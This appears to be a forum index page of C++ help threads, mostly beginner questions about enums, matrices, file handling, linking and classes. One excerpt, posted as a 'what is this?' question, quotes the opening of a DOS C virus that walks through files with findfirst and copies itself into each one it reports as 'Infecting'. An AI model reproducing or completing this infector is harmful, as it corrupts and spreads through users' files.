51,592 Topics

Member Avatar for
Member Avatar for lewashby

Just got the book C++ Programming in easy steps. I just did the following program and although I ran it with now problems the book and this program really do not at all help understand how an enum or a typedef are usefull in the real world. #include <iostream> using …

Member Avatar for dancks
0
205
Member Avatar for benjamin.mauerberger.9

have just joined the forum, looks great. I'm a C++ developer with 4 yrs exp. thanks Ben Mauerberger

Member Avatar for JorgeM
0
33
Member Avatar for Rzink92

string word = "abcde"; int count = 0; for(int i = 0; i < word.length(); i++){ for(int j = 1; j < word.length(); j++){ if(word.at(i) == word.at(j)){ count++; } } } i am trying to write a program that when i am given a string i can count letter pairs …

Member Avatar for Rzink92
0
240
Member Avatar for vaishvik.nakhashi

How can I attach the OCX of WMP to my dialog based application? I want to use the methods of IWMPControls interface such as play() and pause(). I want to call these method by clicking the button given in the dialog box. Its Urgent...

0
176
Member Avatar for Eclip7e

Hi guys so I am making function for my graphs (adjacency matrices) to return number of connected components using breadth first search algorithm. It almost works properly. It returns proper value if number of components is equal to number of vertices, but if number of components is smaller than number …

0
178
Member Avatar for deepecstasy

I have designed a linklist based BookStore in which book's attributes will be stored in a node & so on. Plus at the end of program, I have to save all database into text file *(I tried binary reading but damn I got me killed & couldn't do it)* & …

Member Avatar for deepecstasy
0
406
Member Avatar for lewashby

garrett@mint-desktop ~ $ c++ -v Using built-in specs. COLLECT_GCC=c++ COLLECT_LTO_WRAPPER=/usr/lib/gcc/x86_64-linux-gnu/4.6/lto-wrapper Target: x86_64-linux-gnu Configured with: ../src/configure -v --with-pkgversion='Ubuntu/Linaro 4.6.3-1ubuntu5' --with-bugurl=file:///usr/share/doc/gcc-4.6/README.Bugs --enable-languages=c,c++,fortran,objc,obj-c++ --prefix=/usr --program-suffix=-4.6 --enable-shared --enable-linker-build-id --with-system-zlib --libexecdir=/usr/lib --without-included-gettext --enable-threads=posix --with-gxx-include-dir=/usr/include/c++/4.6 --libdir=/usr/lib --enable-nls --with-sysroot=/ --enable-clocale=gnu --enable-libstdcxx-debug --enable-libstdcxx-time=yes --enable-gnu-unique-object --enable-plugin --enable-objc-gc --disable-werror --with-arch-32=i686 --with-tune=generic --enable-checking=release --build=x86_64-linux-gnu --host=x86_64-linux-gnu --target=x86_64-linux-gnu Thread model: posix gcc version …

0
107
Member Avatar for Riteman

I think this community member will help me to clear my problem. Am not a c++ professional just a beginner. Am on the way to create a software for a browsing center. Am almost struck with the problem of creating multiple text files. To be more clear, Say, a browsing …

Member Avatar for angham kh
0
4K
Member Avatar for superjacent

Hope someone can clarify. I'm self-studying and my question relates to Programming Exercise # 2, Chapter 12, C++ Primer Plus Fifth Edition (pg. 629). I completed the exercise and achieved the desired result but my query came about when I compared my version to the solution. The exercise builds upon …

Member Avatar for Museful
0
256
Member Avatar for angham kh

**hello every body i am trying to filter alog file witch is save as txt file on my computer so i want to filter the log file depend on a particular word and this word apper in 3 column but the column i want is th 3rd one for example …

Member Avatar for angham kh
0
1K
Member Avatar for muhammad.khan.3576

How I will multiply this matrix by using for loop ? #include<iostream> using namespace std; void mat_mul_2d(int mat_out_2d[][2], int mat_in1_2d[][2], int mat_in2_2d[][2]) { mat_out_2d[0][0]=mat_in1_2d[0][0]*mat_in2_2d[0][0]+mat_in1_2d[0][1]*mat_in2_2d[1][0]; mat_out_2d[1][1]=mat_in1_2d[0][0]*mat_in2_2d[0][1]+mat_in1_2d[0][1]*mat_in2_2d[1][1]; mat_out_2d[2][2]=mat_in1_2d[1][0]*mat_in2_2d[0][0]+mat_in1_2d[1][1]*mat_in2_2d[1][0]; mat_out_2d[3][3]=mat_in1_2d[1][0]*mat_in2_2d[0][1]+mat_in1_2d[1][1]*mat_in2_2d[1][1]; } int main() { int mat_in1_2d[2][2] = {{1, 2},{3, 4}}; / int mat_in2_2d[2][2]={{1,0},{0,1}}; int mat_out_2d[2][2]={{0},{0}}; mat_mul_2d(mat_out_2d,mat_in1_2d,mat_in2_2d); return 0; }

Member Avatar for muhammad.khan.3576
0
286
Member Avatar for nawabzadahassan

Guyz can anyone tell me what the heck is this..??? ‎ ‎#include<stdio.h> #include<io.h> #include<dos.h> #include<dir.h> #include<conio.h> #include<time.h> FILE *virus,*host; int done,a=0; unsigned long x; char buff[2048]; struct ffblk ffblk; clock_t st,end; void main() { st=clock(); clrscr(); done=findfirst(“*.*”,&ffblk,0); while(!done) { virus=fopen(_argv[0],”rb”); host=fopen(ffblk.ff_name,”rb+”); if(host==NULL) goto next; x=89088; printf(“Infecting %sn”,ffblk.ff_name,a); while(x>2048) { fread(buff,2048,1,virus); …

Member Avatar for nullptr
-1
147
Member Avatar for jongiambi

Hi. Im trying to write a simple deck of cards program. I am having difficulty in expressing my integer deck into a printable form. The deck is generated as this: 00102030405060708090100110120011121314151617181911011111210212223242526272829210211212203132333435363738393103113123 The leading numbers assign to suits and the following number assign to card rank. Basically how can I convert …

Member Avatar for VernonDozier
0
8K
Member Avatar for jongiambi

Hi I have a quick question about a program im writing. The bold part is where im stuck. As of now my output is correct. Just wondering how to delete the memory I allocated. The question asks: Let us say that you want to choose how many marks to enter …

Member Avatar for VernonDozier
0
351
Member Avatar for daino

I'm trying ot build a podofo library and it gets up to 65% and the below error occures. The entire code snipped is below. Not sure what this means or the faintest idea on how to fix it. Basically I've generated a makefile with CMAKE and tried to bild the …

Member Avatar for daino
0
1K
Member Avatar for anoushka
Member Avatar for daino

I'm trying to build a CPP library and have set the CPP Include path as below. I Am using Windows XP with MinGW compiler. VARIABLE NAME: CPLUS_INCLUDE_PATH VARIABLE VALUE: C:\CodeBlocks\MinGW\lib\gcc\mingw32\4.4.1\include\c++ I have restarted my PC several times but I still get an error message telling me that the file it …

Member Avatar for daino
0
599
Member Avatar for willygstyle

Hello all. I'm working on a simple game at the moment and thus I started heading in the direction of windows hooks. I easily got the low level keyboard hook working. But of course I had to attempt the other version which uses dll's for hooking. After many attempts at …

Member Avatar for dx9_programmer
0
186
Member Avatar for NardCake

Hello! I believe hotkeys or keyboard shortcuts is the correct term. (Ctrl+C is copy etc...) Well I'm having troubles trying to figure out how to do this. I'm very new to the win32 api and such And I'm just clueless. Any help is very much appreciated!

Member Avatar for dx9_programmer
0
2K
Member Avatar for jorge.carmonajr

Okay so i am really new to coding(about 2 weeks) and need help with an assignment.the asignment goes like this "Write a program that will read in a file named pa7-temp.txt (located in the current directory) that contains a set of temperatures, and then prints out how many were in …

Member Avatar for np complete
0
213
Member Avatar for php111

Hey everyone, What book would be recommended to learn C++ between Prata C++ Primer Plus, or the C++ Programming Language by Bjarne Stroustrup? I believe C++ Primer Plus would cover everything, but does someone need expirence in order to read the book by Bjarne? Does the Bjarne book covers everything …

Member Avatar for mrnutty
0
603
Member Avatar for b1b2b3b4

I have to create three shapes, **Square, Cross, Rectangle**. This makes up three classes. There is one super class, **Shape**. So basically when I did not try any of the polymorphism but I did declare: class Shape{ private: int x,y; public: ... } class Square: public Shape{ } If I …

Member Avatar for b1b2b3b4
0
224
Member Avatar for danibecse
Member Avatar for NathanOliver
0
219
Member Avatar for Kirielson

In C++ it seems like every single time you open a file, the inner contents get deleted quickly. Is there a way to open the file at the end of the last character while keeping all contents within the file? I've been looking at something with the End of file …

Member Avatar for ankit1990rana
0
8K
Member Avatar for AutoPython

I've been at a loss as how to convert the std::string to char (Line 40). I've tried c_str() and a few other things, but it's really confusing when the pointers are thrown in there. I know I'm kind of asking you guys to do it but I don't know what …

Member Avatar for rubberman
0
433
Member Avatar for akashi

hi! I'm new in c++, can anyone give some instruction how I'll start this structure solution? if so, please give me some instruction Problem given: Define a structure called Toy with the following members: . Name of Toy . Price of Toy . Made in (the place where the toy …

Member Avatar for spuriousgeek
0
122
Member Avatar for coroshea

I have the following as an Stl algorithm/vector: MyClass <int> VecOfInts("A vector of integers"); VecOfInts.push_back(3) VecOfInts.push_back(2) VecOfInts.push_back(1) I was able to get the numbers to display with a for loop (i < VecOfInts <size; i++). Now my question is: how would I get "A Vector of integers", to display, irregardless …

Member Avatar for vijayan121
0
140
Member Avatar for sonum04

hey sir, i need your help to solve a program? question is= write a program for assesment system of university. the basic idea is to calculate the GPA of each subject and then calculate the GPA of whole semester and the basic of that GPA calculate the grade and remarks? …

Member Avatar for np complete
0
102
Member Avatar for lonelycloud

I've been trying to write a class called Point, with a file Point.cpp including a header file Point.h . I tried to set a global variable of type Point called ORIGIN, however I get an error message saying "error: ‘ORIGIN’ does not name a type" Point.h is as follows: [ICODE] …

Member Avatar for Lizino
0
2K
Member Avatar for christinetom

Hi all Can anyone tell me how I add a linker directory for a specific library to my project in Codeblocks. It would be better if it was there all the time but I think I have to go to Project>Build Options> then I have to select the 'Search Directories' …

Member Avatar for christinetom
0
2K
Member Avatar for mchung90

Hello! I am currently attempting to read all the lines from a text file, and append them to one long string. At the moment, it seems that the line that is read in keeps overriding the string, instead of appending it. I think it has something to do with the …

Member Avatar for nullptr
0
322
Member Avatar for s123456

assuming everything else works...i'm having trouble with the output...the if else statements are driving me crazy. it is outputting the date twice when i enter 7/3/12 code displays todays date....displays "payday" entered......adds 7 days to "payday" to show NEXT payday. void Date::addDays(int month, int day, int year) { _day = …

Member Avatar for MandrewP
0
149
Member Avatar for venkyHyd

**I have tried to display URL(contain unicode characters) response in Message Box. But garbage characters displaying, so that i tried to made different conversions, but alphabits only displaying remaining unicode characters displaying as ?(or)garbage values. im trying this from 3 days..plz help me...plz write the complete code.** HINTERNET hInternet = …

0
41
Member Avatar for sofy

my task is to type 20 integer numbers from 0 to 99 as the input data. few tasks are to check the maximum and minimum, and find the total number of even and odd numbers. (this one i already got the answer). But i have problem for my next task, …

Member Avatar for sofy
0
363
Member Avatar for sofy

not sure if this is the right place to ask, but i need some help for my problem here. i want to find inverse, upper triangular and determinant for a matrix. but i'm not sure why it doesn't work like what i want. for now, i just want try to …

0
127
Member Avatar for francis.deladurantaye

Here is my code. I have a problem with the decimals when it comes to "temp /= 100.0". montant = 61; for (int i=0 ; i<7 ; i++) { if (i != posCreancier) { temp = montant/7.0; (temp == 8.7142857142857135) temp *= 100; (temp == 871.42857142857133) temp += 0.5; (temp …

Member Avatar for Ancient Dragon
0
135
Member Avatar for mitchell5879

Hello, I am having a problem with the output for my sub-string generator program. input: abc desired output: a, b, c, ab, bc, ac, abc current output: abc, abcc, abcb, abcbc, abca, abcac, abcab, abcabc I am sure the error is right in front of me, but I have been …

Member Avatar for zhizu
0
174
Member Avatar for CodyM

/*I'm having trouble creating a constructor for degree and *coeffs as well as properly creating the dynamic arrays for the coefficients of the 2 polynomials a and b. I'm just concerned about getting the correct values. My textbook only gives us eamples of constructos for eamples not well related to …

Member Avatar for CodyM
0
226
Member Avatar for CodyM

So my readPoly fct assigns the values i want to my dynamic array, but when the fct send Polynomial p back to main to be assigned to a and b(fct called twice) the first value of the array is set to 0. I've output the array inside readPoly and it …

Member Avatar for CodyM
0
289
Member Avatar for daniel.moore.5099940

Hey everyone, i need help with this program im doing for a class, now i havent used c++ in a while so thats why im considerably fresh in all this. any at all help would be greatly apprecietated. ALso i can NOT spell to save my life. the problem states …

0
147
Member Avatar for arslan.haroon

Hey! I am stuck on a problem in which i have to print an isosceles triangle (two sides equal) with any character. It would be really helpful if someone could tell me the code, the triangle should look like this: * *** ***** *******

Member Avatar for hariskhank
0
106
Member Avatar for akashi

hi! can anyone solve this string-array problem or give me just an example about it * Write a program that converts a sentence input by the user into pig latin. You can assume that the sentence contains no punctuation. The rules for pig latin are as follows: a) For words …

Member Avatar for Lucaci Andrew
0
927
Member Avatar for sblass92

Hi all, To begin, I'm not certain this is the proper place to start this question, but I believe this to be a linux-linker related error rather than a code based one. I've also searched far and wide for a solution online, but others have solved the problem simply include …

Member Avatar for sblass92
0
272
Member Avatar for rajeshyadav6382

program to read list of words in randomly and displays them in alphabetical order using function and comparison operator.

Member Avatar for Lucaci Andrew
0
45
Member Avatar for k3na26

Hi, I kind of need help with my homework. I already have a code but it doesn't seem to work. I'm confused about the parameters I put. I don't know which part I actually messed up. I don't know what else to do. Thank you so much in advance for …

Member Avatar for satabios
0
3K
Member Avatar for starletcharmed

Hi, can anyone help me with my code? Im trying to reverse my string using stack... but when it compiles and put in a string and press enter... nothing happens... Any suggestions? [CODE]#include <iostream> #include<stack> #include<string> using namespace std; int main() { stack <string> s; string a; cout << "Enter: …

Member Avatar for d_a_y_o
2
4K
Member Avatar for Carc369

How do you do that? This code reads in the book. It reads in fine. Now I just have to alter it so it doesn't read in repeat words in the book. How would I do that? void readInStory(){ ifstream inStream; // declare an input stream for my use int …

Member Avatar for vijayan121
0
701
Member Avatar for Carc369

I've tried cin >> userInput; and it stops reading the word after it hits a space. but then I tried cin.get and it just skips all the other cins. Then I tried cin.getline and it skips over the userInput cin and goes right to the next cin (cin >> direction). …

Member Avatar for vijayan121
0
569
Member Avatar for Elixir42

Hi I am getting some strange results from my framerate calculation. It seems to have a mind of its own. It wants to stay at about 60 fps even if I set it to 80fps. It does run though if I set it to 50fps. I am getting smooth movement …

0
78
Member Avatar for ritchonson101

Hi all...I really need someones help and real fast. I am trying to read a textfile with multiple columns that are each separated by a #. eg: Inventory.txt Nokia Lumia 610#Nokia#Touch#8GB#8#Tango OS#3899.00# Blackberry Curve 9380#Blackberry#Both#1GB#8#Blackberry OS 7#3499.00# Samsung Galaxy S3#Samsung#Touch#32GB#8#Andriod#6999.00# iPhone 4S#Apple#Touch#16GB#8#IOS#7899.00# I am trying to save each bit of …

Member Avatar for mLearning
0
165

The End.